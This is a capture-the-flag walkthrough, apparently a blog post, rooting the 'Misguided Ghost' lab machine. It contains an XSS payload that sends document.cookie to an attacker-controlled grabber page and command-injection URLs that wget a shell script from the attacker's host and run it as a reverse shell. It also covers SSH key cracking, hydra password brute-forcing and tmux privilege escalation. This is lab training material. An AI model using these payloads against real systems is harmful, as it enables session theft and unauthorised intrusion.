Reading Time: 6 minutes

In this post, i would like to share a walkthrough on Misguided Ghost Room.

This room is been considered difficulty rated as a HARD machine

Let’s Start!

We need to deploy the machine for us to play with the machine

Information Gathering on Misguided Ghost

Once the machine is fully up within 5 minutes, we can start the information gathering on the machine by executing the command nmap -sC -sV <IP Address> -PN

There are multiple ports that been open but the crucial port that caught my attention

• 21: csftpd 3.0.2
• 22: OpenSSH 7.6p1

Let’s try FTP to the machine via an anonymous user. Once you have a successful login, you can see /pub/ there. Let’s see what is stored in /pub/ directory

We have info.txt, jokes.txt, and trace.pcapng and let’s download those files into our machine

So, let’s see what’s written in info.txt

Let’s see what’s written in jokes.txt

Let’s see what’s written in trace.pcapng by running Wireshark

As a result, let’s filter the packet to ip.scr== 192.168.236.128 and ip.dst==192.168.236.131

Before knocking the port on the machine, let’s install the tools by executing sudo apt-get install knockd

Based on my review of Wireshark packets, let’s knock the machine with the port mentioned in the packets.

It will not work immediately where you need to knock the port multiple times.

Let’s run again the same nmap command to see if any additional ports have been opened. We got a new port open port 8080

Let’s dive into the website interface

Let’s run the dirb https://<IP Adress>:8080

We will get the /login/ directory on my dirb output. It will direct us to the login page.

From my observation on the website, I notice that the certificate issuer of the website is zac@misguided_ghosts.thm

Let’s try username zac and password zac

Oh wow! I have successfully login as Zac

Managed to login as Zac

Let's try the execute the programming command such a

<scrscriptipt> document.location='http://10.6.31.213:9001/XSS/grabber.php?c='+document.cookie  </scrscriptipt>

We will see the new grabber than login=zac_from_paramore (older cookie)

We will have to copy-paste the older cookie with the newer-cookie. Once we have replaced the cookie value, we need to refresh the page and surprisingly we log-in as Hayley.

I also found /photos directory on the dirb output.

Trying to upload a file on the web application

Let’s start the NC listener up and execute the command below to get the connection back to us

The command that we need to execute is

/photos?image=/etc/passwd;CMD=$'\x20wget\x20<IP Address>:8000/<filename>.sh';`$CMD`

/photos?image=/etc/passwd;CMD=$'\x20sh\x20shell.sh';`$CMD`

It will take multiple attempts for us to get the connection back

The reverse shell on the Misguided Ghost machine

We need can go to /home/zac directory and there is no user.txt as usual. As a result, we need to enumerate more on the machine to find the user flag.

When we look into .secret, we have an idea that zac doesn’t remember the password at all. Paramore said that he left zac with the encrypted private key.

Let’s open the .id_rsa file and copy everything so that we can decrypt

We get a new private key from the previous key. So, let’s copy-paste the new private key into an id_rsa file that we will be created.

Before we can execute ssh, we need to change permission the id_rsa to 600 by using the following command

sudo chmod 600 id_rsa

Once that has done, let’s ssh into the machine by executing the following command

sudo ssh zac@<IP address> -i id_rsa

SSH access to the machine

It look the same to me with www-data credentials.

Let’s run the netstat -tulpn and i notice that we can port-forward into our own machine using port 445

Let’s check smb name that we might be able to use by running the following command

sudo smbclient -L localhost -p 9007

We got to see local as sharename been appear there. Let’s run the command

sudo smbclient //localhost/local -p 9007

Oh wow! We are provided with passwords.bak

Let’s download the passwords.bak into our machine by doing get passwords.bak

Let’s try to crack the password by running hydra and the command can be seen as

hydra -l hayley -P password.bak ssh://<IP Address>

It will take a few seconds to get Hayley’s password. Let’s access Hayley privileges access by doing su hayley

To get user.txt, we need to access /home/hayley/ directory

Let’s read the user.txt by running cat user.txt

By running ps aux, we will able the operation status.

From the output above, i notice /usr/bin/tmux -s /opt/.details can be a little suspicious.

Let’s play with the command to see the output. Firstly, we need to access /opt/ directory for us to able to execute the command

tmux -s /opt/.details

We are connected to root privileges access

Let’s access to /root/ directory and we notice there are root.txt files in the directory

We got the root flag inside root.txt

-THE END-

Happy Learning Guys!